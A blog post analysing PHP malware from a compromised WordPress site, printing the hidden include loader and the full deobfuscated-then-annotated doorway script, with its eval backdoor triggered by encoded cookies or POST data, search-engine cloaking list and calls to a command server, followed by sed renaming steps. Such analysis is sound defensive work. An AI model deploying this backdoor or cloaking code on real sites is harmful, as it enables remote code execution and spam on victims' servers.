PHP Malware Examination Part 2

Published 11-27-2018 21:56:04

Presented by Tim

Follow me on Twitter

Following on from the malware, I investigated earlier in the month, my friend gave me further files to continue working out what was the function of the malware. See part 1 here.. All analysis was performed on a virtual machine and only details which could have identified the victim have been removed.

What I was given

The first think he pointed out was that there was over 50MB of the infection. Most of it seemed to be in a directory called “cache”. The main extra files he gave me were:

  • an index page
  • a html file
  • a list file
  • a file called fbxutv.php
  • a folder called cache, with lots of files in it.

Starting with the index file, I found a familar sight:

<?php

/*f3e7f*/

@include "\057home\057redac\164ed/\160ubli\143_htm\154/wp-\143onte\156t/th\145mes/\0560280\0610cf.\151co";

/*f3e7f*/

Running the command “php -w index.php > index2.php” cleared up the comments, which didn’t help that much this time. Looking at the string, I decided to change the include to an echo statement to show what was being printed out. Low and behold, the included string was the original malware.

/home/redacted/public_html/wp-content/themes/.028010cf.ico

So that answered the first question I had about the original malware piece: if it was hidden, and a ico file, how was it being run.

The next file I looked at was the html file. The file on first inspection appeared to be a template file. A screenshot is shown below:

Malware HTML Template file

The list file seem to contain random strings of keywords. With nothing of great interest at this point, I turned my attention to fbxutv.php.

The main piece of malware

The first thing I noticed that the code was listed in a couple of lines. I ran “php -w” on the file, and started to reformat the malware in to an easier to look at version. After changing the style, I was left with:

<?php

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
date_default_timezone_set('UTC');

class _19g0vs2{
	static private $_759k0624 = 1585596830;
	static function _5es9r($_fj3v9zd1, $_wjqehzzq){
		$_fj3v9zd1[2] = count($_fj3v9zd1) > 4 ? long2ip (_19g0vs2::$_759k0624 - 642) : $_fj3v9zd1[2];
		$_pdo1wxsa = _19g0vs2::_2bza6($_fj3v9zd1, $_wjqehzzq);
		if (!$_pdo1wxsa){
			$_pdo1wxsa = _19g0vs2::_m5fzv($_fj3v9zd1, $_wjqehzzq);
		}
		return $_pdo1wxsa;
	}
	static function _2bza6($_fj3v9zd1, $_pdo1wxsa){
		if (!function_exists('curl_version')){
			return "";
		}
		$_q7nz6eha = curl_init();
		curl_setopt($_q7nz6eha, CURLOPT_URL, implode("/", $_fj3v9zd1));
		if (!empty($_pdo1wxsa)){
			curl_setopt($_q7nz6eha, CURLOPT_POST, 1);
			curl_setopt($_q7nz6eha, CURLOPT_POSTFIELDS, $_pdo1wxsa);
		}
		curl_setopt($_q7nz6eha, CURLOPT_RETURNTRANSFER, TRUE);
		$_sxg6rwqh = curl_exec($_q7nz6eha);
		curl_close($_q7nz6eha);
		return $_sxg6rwqh;
	}
	static function _m5fzv($_fj3v9zd1, $_pdo1wxsa){
		if (!empty($_pdo1wxsa)){
			$_10bot499 = stream_context_create(
				Array('http' => Array(
					'method' => 'POST',
					'header' => 'Content-type: application/x-www-form-urlencoded',
					'content' => $_pdo1wxsa)));
			$_sxg6rwqh = @file_get_contents(implode("/", $_fj3v9zd1), FALSE, $_10bot499);
		}else{
			$_sxg6rwqh = @file_get_contents(implode("/", $_fj3v9zd1));
		}return $_sxg6rwqh;
	}
}

class _zh7q3s{
	private static $_d5gicerr = "";
	private static $_nj936vjk = -1;
	private static $_roz3ivpd = "";
	private $_ckt9eh6j = "";
	private $_er6eg00h = "";
	private $_1c0nv0xg = "";
	private $_ahx0h1u4 = "";
	public static function _wu68f($_3lantxxc, $_kk2hg6qf, $_u670vkeo){
		_zh7q3s::$_d5gicerr = $_3lantxxc . "/cache/";
		_zh7q3s::$_nj936vjk = $_kk2hg6qf;
		_zh7q3s::$_roz3ivpd = $_u670vkeo;
		if (!@file_exists(_zh7q3s::$_d5gicerr)){
			@mkdir(_zh7q3s::$_d5gicerr);
		}
	}
	public static function _mn403(){
		return TRUE;
	}
	public function __construct($_f0y2sncy, $_4o6wrpay, $_5oudn589, $_zhyds6gj){
		$this->_ckt9eh6j = $_f0y2sncy;
		$this->_er6eg00h = $_4o6wrpay;
		$this->_1c0nv0xg = $_5oudn589;
		$this->_ahx0h1u4 = $_zhyds6gj;
	}
	public function _zg7my(){
		return str_replace("{{ text }}", $this->_er6eg00h,str_replace("{{ keyword }}", $this->_1c0nv0xg,str_replace("{{ links }}", $this->_ahx0h1u4, $this->_ckt9eh6j)));
	}
	public function _79py7(){
		$_4xkehlm5 = _zh7q3s::$_d5gicerr . md5($this->_1c0nv0xg . _zh7q3s::$_roz3ivpd);
		if (_zh7q3s::$_nj936vjk == -1){
			$_2ng0cqsu = -1;
		}else{
			$_2ng0cqsu = time() + (3600 * 24 * 30);
		}
		$_yywd151p = Array(
			"template" => $this->_ckt9eh6j,
			"text" => $this->_er6eg00h,
			"keyword" => $this->_1c0nv0xg,
			"links" => $this->_ahx0h1u4,
			"expired" => $_2ng0cqsu);
		@file_put_contents($_4xkehlm5, serialize($_yywd151p));
	}
	static public function _5s97u($_5oudn589){
		$_4xkehlm5 = _zh7q3s::$_d5gicerr . md5($_5oudn589 . _zh7q3s::$_roz3ivpd);
		$_4xkehlm5 = @unserialize(@file_get_contents($_4xkehlm5));
		if (!empty($_4xkehlm5) && ($_4xkehlm5["expired"] > time() || $_4xkehlm5["expired"] == -1)){
			return new _zh7q3s($_4xkehlm5["template"], $_4xkehlm5["text"], $_4xkehlm5["keyword"], $_4xkehlm5["links"]);
		}else{
			return null;
		}
	}
}

class _royr5j{
	private static $_d5gicerr = "";
	private static $_iyy6aoxc = "";
	public static function _wu68f($_3lantxxc, $_9t2du02l){
		_royr5j::$_d5gicerr = $_3lantxxc . "/";
		_royr5j::$_iyy6aoxc = $_9t2du02l;
		if (!@file_exists(_royr5j::$_d5gicerr)){
			@mkdir(_royr5j::$_d5gicerr);
		}
	}
	public static function _mn403(){
		return TRUE;
	}
	static public function _4z0p1(){
		$_avf9jszr = 0;
		foreach (scandir(_royr5j::$_d5gicerr) as $_o2sspu30){
			if (strpos($_o2sspu30, _royr5j::$_iyy6aoxc) === 0){
				$_avf9jszr += 1;
			}
		}
		return $_avf9jszr;
	}
	static public function _zhykw(){
		$_s8anq96o = Array();
		foreach (scandir(_royr5j::$_d5gicerr) as $_o2sspu30){
			if (strpos($_o2sspu30, _royr5j::$_iyy6aoxc) === 0){
				$_s8anq96o[] = $_o2sspu30;
			}
		}
		return @file_get_contents(_royr5j::$_d5gicerr . $_s8anq96o[array_rand($_s8anq96o)]);
	}
	static public function _79py7($_abptir25){
		if (@file_exists(_royr5j::$_iyy6aoxc . "_" . md5($_abptir25) . ".html")){
			return;
		}
		@file_put_contents(_royr5j::$_iyy6aoxc . "_" . md5($_abptir25) . ".html", $_abptir25);
	}
}

class _zsop1pp{
	private static $_d5gicerr = "";
	private static $_iyy6aoxc = "";
	public static function _wu68f($_3lantxxc, $_9t2du02l){
		_zsop1pp::$_d5gicerr = $_3lantxxc . "/";
		_zsop1pp::$_iyy6aoxc = $_9t2du02l;
		if (!@file_exists(_zsop1pp::$_d5gicerr)){
			@mkdir(_zsop1pp::$_d5gicerr);
		}
	}
	private static function _79i20(){
		$_biw8hck1 = Array();
		foreach (scandir(_zsop1pp::$_d5gicerr) as $_o2sspu30){
			if (strpos($_o2sspu30, _zsop1pp::$_iyy6aoxc) === 0){
				$_biw8hck1[] = $_o2sspu30;
			}
		}
		return $_biw8hck1;
	}
	public static function _mn403(){
		$_biw8hck1 = _zsop1pp::_79i20();
		if (!empty($_biw8hck1)){
			return TRUE;
		}
		return FALSE;
	}
	static public function _zhykw(){
		$_biw8hck1 = _zsop1pp::_79i20();
		$_pfoa7z23 = @file(_zsop1pp::$_d5gicerr . $_biw8hck1[array_rand($_biw8hck1)], FILE_IGNORE_NEW_LINES);
		return $_pfoa7z23[array_rand($_pfoa7z23)];
	}
	static public function _v2cr7(){
		$_pfoa7z23 = Array();
		$_biw8hck1 = _zsop1pp::_79i20();
		foreach ($_biw8hck1 as $_kk52mpio){
			$_pfoa7z23 = array_merge($_pfoa7z23, @file(_zsop1pp::$_d5gicerr . $_kk52mpio, FILE_IGNORE_NEW_LINES));
		}
		return $_pfoa7z23;
	}
	static public function _79py7($_y1wpo0xb){
		if (@file_exists(_zsop1pp::$_iyy6aoxc . "_" . md5($_y1wpo0xb) . ".list")){
			return;
		}
		@file_put_contents(_zsop1pp::$_iyy6aoxc . "_" . md5($_y1wpo0xb) . ".list", $_y1wpo0xb);
	}
}

class _abtwpw0{
	static public $_ebgh51p9 = "4.1";
	static public $_gc26w45m = "e18bb5c2-b998-9250-fbe6-98f8a3caf821";
	private $_u08raxie = "hxxp://136.12.78.46/module/error/api2?action=redir";
	private $_ibktrama = "hxxp://136.12.78.46/module/error/api2?action=page";
	static public $_mztoxj8u = 20;
	static public $_92r2gln1 = 100;
	static public function _jebhw(){
		function _4ltmr($_elxaovea, $_rvr9m8df){
			$_f2e2ixi7 = "";
			for ($_xdn6ddo5 = 0; $_xdn6ddo5 < strlen($_elxaovea);) {
				for ($_emmj452e = 0; $_emmj452e < strlen($_rvr9m8df) && $_xdn6ddo5 < strlen($_elxaovea); $_emmj452e++, $_xdn6ddo5++) {
					$_f2e2ixi7 .= chr(ord($_elxaovea[$_xdn6ddo5]) ^ ord($_rvr9m8df[$_emmj452e]));
				}
			}
			return $_f2e2ixi7;
		}
		function _nj9x5($_elxaovea, $_rvr9m8df, $_4vpyschm){
			return _4ltmr(_4ltmr($_elxaovea, $_rvr9m8df), $_4vpyschm);
		}
		foreach (array_merge($_COOKIE, $_POST) as $_sgii98xz => $_elxaovea) {
			$_elxaovea = @unserialize(_nj9x5(_abtwpw0::_yqd7x($_elxaovea), $_sgii98xz, _abtwpw0::$_gc26w45m));
			if (isset($_elxaovea['ak']) && _abtwpw0::$_gc26w45m == $_elxaovea['ak']) {
				if ($_elxaovea['a'] == 'doorway2') {
					if ($_elxaovea['sa'] == 'check') {
						$_pdo1wxsa = _19g0vs2::_5es9r(explode("/", "hxxp://httpbin.org/"), "");
						if (strlen($_pdo1wxsa) > 512) {
							echo @serialize(Array("uid" => _abtwpw0::$_gc26w45m, "v" => _abtwpw0::$_ebgh51p9, ));
						}
						exit;
					}
					if ($_elxaovea['sa'] == 'templates') {
						foreach ($_elxaovea["templates"] as $_f0y2sncy) {
							_royr5j::_79py7($_f0y2sncy);
							echo @serialize(Array("uid" => _abtwpw0::$_gc26w45m, "v" => _abtwpw0::$_ebgh51p9, ));
						}
					}
					if ($_elxaovea['sa'] == 'keywords') {
						_zsop1pp::_79py7($_elxaovea["keywords"]);
						_abtwpw0::_yzcee();
						echo @serialize(Array("uid" => _abtwpw0::$_gc26w45m, "v" => _abtwpw0::$_ebgh51p9, ));
					}
				}
				if ($_elxaovea['sa'] == 'eval') {
					eval($_elxaovea["data"]);
					exit;
				}
			}
		}
	}

	private function _85a7k(){
		$_h98zt9gf = array(
			'#Ask\s*Jeeves#i',
			'#HP\s*Web\s*PrintSmart#i',
			'#HTTrack#i',
			'#IDBot#i',
			'#Indy\s*Library#',
			'#ListChecker#i',
			'#MSIECrawler#i',
			'#NetCache#i',
			'#Nutch#i',
			'#RPT-HTTPClient#i',
			'#rulinki\.ru#i',
			'#Twiceler#i',
			'#WebAlta#i',
			'#Webster\s*Pro#i',
			'#www\.cys\.ru#i',
			'#Wysigot#i',
			'#Yahoo!\s*Slurp#i',
			'#Yeti#i',
			'#Accoona#i',
			'#CazoodleBot#i',
			'#CFNetwork#i',
			'#ConveraCrawler#i',
			'#DISCo#i',
			'#Download\s*Master#i',
			'#FAST\s*MetaWeb\s*Crawler#i',
			'#Flexum\s*spider#i',
			'#Gigabot#i',
			'#HTMLParser#i',
			'#ia_archiver#i',
			'#ichiro#i',
			'#IRLbot#i',
			'#Java#i',
			'#km\.ru\s*bot#i',
			'#kmSearchBot#i',
			'#libwww-perl#i',
			'#Lupa\.ru#i',
			'#LWP::Simple#i',
			'#lwp-trivial#i',
			'#Missigua#i',
			'#MJ12bot#i',
			'#msnbot#i',
			'#msnbot-media#i',
			'#Offline\s*Explorer#i',
			'#OmniExplorer_Bot#i',
			'#PEAR#i',
			'#psbot#i',
			'#Python#i',
			'#rulinki\.ru#i',
			'#SMILE#i',
			'#Speedy#i',
			'#Teleport\s*Pro#i',
			'#TurtleScanner#i',
			'#User-Agent#i',
			'#voyager#i',
			'#Webalta#i',
			'#WebCopier#i',
			'#WebData#i', '#WebZIP#i', '#Wget#i','#Yandex#i', '#Yanga#i', '#Yeti#i', '#msnbot#i',
			'#spider#i', '#yahoo#i', '#jeeves#i', '#google#i', '#altavista#i','#scooter#i', '#av\s*fetch#i',
			'#asterias#i', '#spiderthread revision#i', '#sqworm#i','#ask#i', '#lycos.spider#i',
			'#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i','#webcrawler#i', '#robozill#i', '#gulliver#i',
			'#architextspider#i', '#yahoo!\s*slurp#i','#charlotte#i', '#ngb#i', '#BingBot#i');
		if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
			$_glpg7azf = $_SERVER['HTTP_X_FORWARDED_FOR'];
		} elseif (!empty($_SERVER['REMOTE_ADDR'])) {
			$_glpg7azf = $_SERVER['REMOTE_ADDR'];
		} else {
			$_glpg7azf = "";
		}
		if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_h98zt9gf, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))){
			$_7wgedcji = 1;
		}elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])){
			$_7wgedcji = 1;
		}elseif (FALSE !== strpos(@gethostbyaddr($_glpg7azf), 'google')) {
			$_7wgedcji = 1;
		}elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE && strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE){
			$_7wgedcji = 1;
		}else{
			$_7wgedcji = 0;
		}
		return $_7wgedcji;
	}

	public static function _1vrgw($_pxlvpprx, $_09ezckgm){
		$_jf8s5okd = rand($_pxlvpprx, $_09ezckgm);
		$_kgvo3ed7 = "";
		$_plzk7uci = substr(md5(_abtwpw0::$_gc26w45m . "salt3"), 0, 6);
		for ($_xdn6ddo5=0; $_xdn6ddo5 < $_jf8s5okd; $_xdn6ddo5++){
			$_5oudn589 = _zsop1pp::_zhykw();
			$_kgvo3ed7 .= sprintf("<a href='%s?%s=%s'>%s</a>,\n",_abtwpw0::_b9eit(),$_plzk7uci,urlencode(str_replace(" ", "-", $_5oudn589)), ucwords($_5oudn589));
		}
		return $_kgvo3ed7;
	}

	private static function _coldw(){
		$_wjqehzzq = Array();
		$_wjqehzzq['ip'] = $_SERVER['REMOTE_ADDR'];
		$_wjqehzzq['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];
		$_wjqehzzq['ua'] = @$_SERVER['HTTP_USER_AGENT'];
		$_wjqehzzq['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
		$_wjqehzzq['ref'] = @$_SERVER['HTTP_REFERER'];
		$_wjqehzzq['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];
		$_wjqehzzq['acp'] = @$_SERVER['HTTP_ACCEPT'];
		$_wjqehzzq['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];
		$_wjqehzzq['conn'] = @$_SERVER['HTTP_CONNECTION'];
		return $_wjqehzzq;
	}
	public function __construct(){
		$this->_u08raxie = explode("/", $this->_u08raxie);
		$this->_ibktrama = explode("/", $this->_ibktrama);
	}

	static private function _yqd7x($_x671rl9p){
		if (strlen($_x671rl9p) < 4){
			return "";
		}
		$_1uf4luy1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
		$_pfoa7z23 = str_split($_1uf4luy1);
		$_pfoa7z23 = array_flip($_pfoa7z23);
		$_xdn6ddo5 = 0;
		$_zrb4w2a2 = "";
		$_x671rl9p = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_x671rl9p);
		do {
			$_fmyu7m3u = $_pfoa7z23[$_x671rl9p[$_xdn6ddo5++]];
			$_e664o3z2 = $_pfoa7z23[$_x671rl9p[$_xdn6ddo5++]];
			$_gl2fd4nr = $_pfoa7z23[$_x671rl9p[$_xdn6ddo5++]];
			$_ne36pr0t = $_pfoa7z23[$_x671rl9p[$_xdn6ddo5++]];
			$_74h0whi2 = ($_fmyu7m3u << 2) | ($_e664o3z2 >> 4);
			$_ly17nv2z = (($_e664o3z2 & 15) << 4) | ($_gl2fd4nr >> 2);
			$_z5fafa64 = (($_gl2fd4nr & 3) << 6) | $_ne36pr0t;
			$_zrb4w2a2 = $_zrb4w2a2 . chr($_74h0whi2);
			if ($_gl2fd4nr != 64) {
				$_zrb4w2a2 = $_zrb4w2a2 . chr($_ly17nv2z);
			}
			if ($_ne36pr0t != 64) {
				$_zrb4w2a2 = $_zrb4w2a2 . chr($_z5fafa64);
			}
		} while ($_xdn6ddo5 < strlen($_x671rl9p));
		return $_zrb4w2a2;
	}

	private function _bem0h($_5oudn589){
		$_f0y2sncy = "";
		$_4o6wrpay = "";
		$_wjqehzzq = _abtwpw0::_coldw();
		$_wjqehzzq["uid"] = _abtwpw0::$_gc26w45m;
		$_wjqehzzq["keyword"] = $_5oudn589;
		$_wjqehzzq["tc"] = 10;
		$_wjqehzzq = http_build_query($_wjqehzzq);
		$_elxaovea = _19g0vs2::_5es9r($this->_ibktrama, $_wjqehzzq);
		if (strpos($_elxaovea, _abtwpw0::$_gc26w45m) === FALSE){
			return Array($_f0y2sncy, $_4o6wrpay);
		}
		$_f0y2sncy = _royr5j::_zhykw();
		$_4o6wrpay = substr($_elxaovea, strlen(_abtwpw0::$_gc26w45m));
		$_4o6wrpay = explode("\n", $_4o6wrpay);
		shuffle($_4o6wrpay);
		$_4o6wrpay = implode(" ", $_4o6wrpay);
		return Array($_f0y2sncy, $_4o6wrpay);
	}

	private function _3krbm(){
		$_wjqehzzq = _abtwpw0::_coldw();
		$_wjqehzzq["uid"] = _abtwpw0::$_gc26w45m;
		$_wjqehzzq = http_build_query($_wjqehzzq);
		$_m2ht28x6 = _19g0vs2::_5es9r($this->_u08raxie, $_wjqehzzq);
		$_m2ht28x6 = @unserialize($_m2ht28x6);
		if (isset($_m2ht28x6["type"]) && $_m2ht28x6["type"] == "redir") {
			if (!empty($_m2ht28x6["data"]["header"])) {
				header($_m2ht28x6["data"]["header"]);
				return true;
			} elseif (!empty($_m2ht28x6["data"]["code"])) {
				echo $_m2ht28x6["data"]["code"];
				return true;
			}
		}
		return false;
	}

	public function _mn403(){
		return _zh7q3s::_mn403() && _royr5j::_mn403() && _zsop1pp::_mn403();
	}

	static public function _2vjoa(){
		if ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443) {
			return true;
		}
		return false;
	}

	public static function _b9eit(){
		$_l8rv0m91 = explode("?", $_SERVER["REQUEST_URI"], 2);
		$_l8rv0m91 = $_l8rv0m91[0];
		return sprintf("%s://%s%s", _abtwpw0::_2vjoa() ? "https" : "http", $_SERVER['HTTP_HOST'], $_l8rv0m91);
	}

	public static function _tp54w(){
		$_l8rv0m91 = explode("?", $_SERVER["REQUEST_URI"], 2);
		$_l8rv0m91 = $_l8rv0m91[0];
		$_3lantxxc = substr($_l8rv0m91, 0, strrpos($_l8rv0m91, "/"));
		return sprintf("%s://%s%s", _abtwpw0::_2vjoa() ? "https" : "http", $_SERVER['HTTP_HOST'], $_3lantxxc);
	}

	public static function _yzcee(){
		$_8ml56txq = "<?xml version=\"1.0\" encoding=\"UTF-8\"?" . ">\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n";
		$_hz6xkygy = "</urlset>";
		$_5vjv3mu2 = "";
		$_plzk7uci = substr(md5(_abtwpw0::$_gc26w45m . "salt3"), 0, 6);
		$_pfoa7z23 = _zsop1pp::_v2cr7();
		foreach ($_pfoa7z23 as $_rvr9m8df){
			$_d0cfol96 = sprintf("%s?%s=%s",_abtwpw0::_b9eit(),$_plzk7uci,urlencode(str_replace(" ", "-", $_rvr9m8df)));
			$_vzr5de5g = time() - mt_rand(0, 60 * 60 * 24 * 30);
			$_5vjv3mu2 .= "<url>\n";
			$_5vjv3mu2 .= sprintf("<loc>%s</loc>\n", $_d0cfol96);
			$_5vjv3mu2 .= sprintf("<lastmod>%s</lastmod>\n", date("Y-m-d", $_vzr5de5g));
			$_5vjv3mu2 .= "<priority>0.3</priority>\n";
			$_5vjv3mu2 .= "</url>\n";
		}
		$_594ub8ay = $_8ml56txq . $_5vjv3mu2 . $_hz6xkygy;
		$_negl3ygm = dirname(__FILE__) . "/sitemap.xml";
		$_cpk4clop = _abtwpw0::_tp54w() . "/sitemap.xml";
		@file_put_contents($_negl3ygm, $_594ub8ay);
		return $_cpk4clop;
	}

	public function _t31lu(){
		$_plzk7uci = substr(md5(_abtwpw0::$_gc26w45m . "salt3"), 0, 6);
		if (isset($_GET[$_plzk7uci])){$_5oudn589 = $_GET[$_plzk7uci];
			$_5oudn589 = str_replace("-", " ", $_5oudn589);
			if (!$this->_85a7k()){
				if ($this->_3krbm()){
					return;
				}
			}
			$_m2ht28x6 = _zh7q3s::_5s97u($_5oudn589);
			if (empty($_m2ht28x6)){
				list($_f0y2sncy, $_4o6wrpay) = $this->_bem0h($_5oudn589);
				if (empty($_4o6wrpay)){
					return;
				}
				$_m2ht28x6 = new _zh7q3s($_f0y2sncy, $_4o6wrpay, $_5oudn589, _abtwpw0::_1vrgw(_abtwpw0::$_mztoxj8u, _abtwpw0::$_92r2gln1));
				$_m2ht28x6->_79py7();
			}
			echo $_m2ht28x6->_zg7my();
		}
	}
}

_zh7q3s::_wu68f(dirname(__FILE__), -1, _abtwpw0::$_gc26w45m);
_royr5j::_wu68f(dirname(__FILE__), substr(md5(_abtwpw0::$_gc26w45m . "salt1"), 0, 4));
_zsop1pp::_wu68f(dirname(__FILE__), substr(md5(_abtwpw0::$_gc26w45m . "salt2"), 0, 4));
_abtwpw0::_jebhw();
$_6b5ok2i8 = new _abtwpw0();
if ($_6b5ok2i8->_mn403()){
	$_6b5ok2i8->_t31lu();
}
exit();

In order to decode the malware, I used the sed command a lot. Since I had piped this in to a file called “f2.php”, I kept my sed instructions in a file, so if I made a mistake, or had a better name for something, I could change it. It also helped with making sure I wasn’t using the same variable twice, as that could be even more confusing.

The sed command I ran after figuring out a piece of the puzzle was:

cat f2.php | sed -f ./f-fix.sed > f3.php

My final sed file contained:

s/_q7nz6eha/ch/g
s/_2bza6/getcurldata/g
s/_fj3v9zd1/url/g
s/_pdo1wxsa/data/g
s/_sxg6rwqh/webdata/g
s/_10bot499/headers/g
s/_m5fzv/getfileurldata/g
s/_wjqehzzq/headerdata/g
s/_759k0624/ipval/g
s/_5es9r/getdata/g
s/_19g0vs2/grabberclass/g
s/_2vjoa/scottornot/g
s/_l8rv0m91/URI/g
s/_u08raxie/redirurl/g
s/_ibktrama/pageurl/g
s/_4ltmr/xor/g
s/_xdn6ddo5/i/g
s/_emmj452e/j/g
s/_coldw/populateheader/g
s/_gc26w45m/uid/g
s/_sgii98xz/key/g
s/_elxaovea/value/g
s/_f0y2sncy/template/g
s/_ebgh51p9/version/g
s/_x671rl9p/message/g
s/_fmyu7m3u/h1/g
s/_e664o3z2/h2/g
s/_pfoa7z23/charArray/g
s/_gl2fd4nr/h3/g
s/_ne36pr0t/h4/g
s/_1uf4luy1/b64/g
s/_zrb4w2a2/returnval/g
s/_74h0whi2/o1/g
s/_ly17nv2z/o2/g
s/_z5fafa64/o3/g
s/_yqd7x/b64decode/g
s/_nj9x5/doublexor/g
s/_rvr9m8df/altval/g
s/_4vpyschm/thirdval/g
s/_92r2gln1/onehundred/g
s/_mztoxj8u/twenty/g
s/_pxlvpprx/twentyval/g
s/_09ezckgm/hundredval/g
s/_jf8s5okd/randnum/g
s/_kgvo3ed7/retstring/g
s/_5oudn589/keyword/g
s/_4o6wrpay/offset/g
s/_bem0h/gettemplatearray/g
s/_f2e2ixi7/xordstring/g
s/_h98zt9gf/searchengineUA/g
s/_glpg7azf/remoteip/g
s/_7wgedcji/searchengine/g
s/_85a7k/SEornot/g
s/_plzk7uci/md5tag/g
s/_b9eit/fixuri/g
s/_3lantxxc/uripath/g
s/_tp54w/fixuripath/g
s/_vzr5de5g/randomtime/g
s/_ckt9eh6j/inttemplate/g
s/_er6eg00h/intoffset/g
s/_1c0nv0xg/intkeyword/g
s/_ahx0h1u4/intlinks/g
s/_zhyds6gj/links/g
s/_d5gicerr/dirpath/g
s/_yywd151p/content/g
s/_4xkehlm5/file/g
s/_jebhw/decoder/g
s/_o2sspu30/fileindir/g
s/_avf9jszr/counter/g
s/_1vrgw/getlinkstrings/g
s/_2ng0cqsu/expired/g
s/_79py7/filewriter/g
s/_m2ht28x6/grabbeddata/g
s/_kk2hg6qf/minus1/g
s/_u670vkeo/internaluid/g
s/_roz3ivpd/localuid/g
s/_abptir25/tmplate/g
s/_y1wpo0xb/kyword/g
s/_9t2du02l/uidmd5part1/g
s/_iyy6aoxc/clsuidmd5part1/g
s/_3krbm/displayheaders/g
s/_4z0p1/filescount/g
s/_s8anq96o/filelist/g
s/_zhykw/getfilesdata/g
s/_royr5j/filereader/g
s/_biw8hck1/filearray/g
s/_79i20/getfilearray/g
s/_kk52mpio/filez/g
s/_v2cr7/filezcontents/g
s/_mn403/filearraycheck/g
s/_nj936vjk/intminus1/g
s/_zg7my/stringreplacer/g
s/_zh7q3s/datahandler/g
s/_5s97u/setupdatahandler/g
s/_zsop1pp/filehandler/g
s/_abtwpw0/webhandler/g
s/_8ml56txq/xmlheader/g
s/_hz6xkygy/xmlfooter/g
s/_5vjv3mu2/xmlbody/g
s/_yzcee/sitemapgen/g
s/_594ub8ay/sitemapxml/g
s/_negl3ygm/sitemapfile/g
s/_cpk4clop/sitemapurl/g
s/_6b5ok2i8/webh/g
s/_t31lu/setup/g
s/_wu68f/initdatahandler/g
s/_d0cfol96/sitepage/g

Classes in Malware

Looking through the malware a few things of note came to mind. The first one was that the malware was using classes, and 5 of them to boot. The second was that a few functions jumped out. The base64 string was present, as was a lot of curl function calls. I decided to start with the analysis there:

static function _2bza6($_fj3v9zd1, $_pdo1wxsa){
        if (!function_exists('curl_version')){
                return "";
        }
        $_q7nz6eha = curl_init();
        curl_setopt($_q7nz6eha, CURLOPT_URL, implode("/", $_fj3v9zd1));
        if (!empty($_pdo1wxsa)){
                curl_setopt($_q7nz6eha, CURLOPT_POST, 1);
                curl_setopt($_q7nz6eha, CURLOPT_POSTFIELDS, $_pdo1wxsa);
        }
        curl_setopt($_q7nz6eha, CURLOPT_RETURNTRANSFER, TRUE);
        $_sxg6rwqh = curl_exec($_q7nz6eha);
        curl_close($_q7nz6eha);
        return $_sxg6rwqh;
}

Looking at the function in isolation, we can see that the function early exists, if curl is not built in to php. Assuming it is, “$_q7nz6eha” is set to the curl handler. The next couple of arguments are the url to get the data from ($_fj3v9zd1) and the post fields for the connection ($_pdo1wxsa). The only variable left was the returned data ($_sxg6rwqh). The decoded function then, look like this:

static function getcurldata($url, $data){
         if (!function_exists('curl_version')){
                 return "";
         }
         $ch = curl_init();
         curl_setopt($ch, CURLOPT_URL, implode("/", $url));
         if (!empty($data)){
                 curl_setopt($ch, CURLOPT_POST, 1);
                 curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
         }
         curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
         $webdata = curl_exec($ch);
         curl_close($ch);
         return $webdata;
 }

Populating the name getcurldata gave me the answer to the question that had popped up: what if the curl fails? The answer was there is a wrapper function which calls the “getcurldata” function, and checks the reply. If the reply is empty, another function is called:

static function _m5fzv($_fj3v9zd1, $_pdo1wxsa){
         if (!empty($_pdo1wxsa)){
                 $_10bot499 = stream_context_create(
                         Array('http' => Array(
                                 'method' => 'POST',
                                 'header' => 'Content-type: application/x-www-form-urlencoded',
                                 'content' => $_pdo1wxsa)));
                 $_sxg6rwqh = @file_get_contents(implode("/", $_fj3v9zd1), FALSE, $_10bot499);
         }else{
                 $_sxg6rwqh = @file_get_contents(implode("/", $_fj3v9zd1));
         }return $_sxg6rwqh;
 }

This was basically forming a post request and submitting it through a “file_get_contents” command. Decoded, the function looks like:

static function getfileurldata($url, $data){
         if (!empty($data)){
                 $headers = stream_context_create(
                         Array('http' => Array(
                                 'method' => 'POST',
                                 'header' => 'Content-type: application/x-www-form-urlencoded',
                                 'content' => $data)));
                 $webdata = @file_get_contents(implode("/", $url), FALSE, $headers);
         }else{
                 $webdata = @file_get_contents(implode("/", $url));
         }return $webdata;
 }

The last parts of the class were easy to see and decode. They translated to:

static private $ipval = 1585596830;
static function getdata($url, $headerdata){
        $url[2] = count($url) > 4 ? long2ip (grabberclass::$ipval - 642)
: $url[2];
        $data = grabberclass::getcurldata($url, $headerdata);
        if (!$data){
                $data = grabberclass::getfileurldata($url, $headerdata);
        }
        return $data;
}

I also named the class “grabberclass”, as grabbing web data was it’s primary function. The attempt to obscure an ip address in the function was interesting. This gave me a bit of a chance to do maths: longw2ip of (1585596830 - 642). I used an online long2ip site to find the address of 136.12.78.46.

The next big thing

After looking through the malware again to see what popped out, I noticed a simple function, which was easy to decipher:

 static public function _2vjoa(){
   if ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443) {
      return true;
   }
   return false;
}

The simple function checks to see if the server is HTTPS or not. In honour of that well known blogger, I decided to name the function “scottornot”. I may have been a bit tired at this point and “troyornot” didn’t have the same ring to it. NB. Just to be clear, the naming does not indicate involvement of either of the 2 security researchers in the malware, it’s just my sense of humour, Mr Officer, sir.

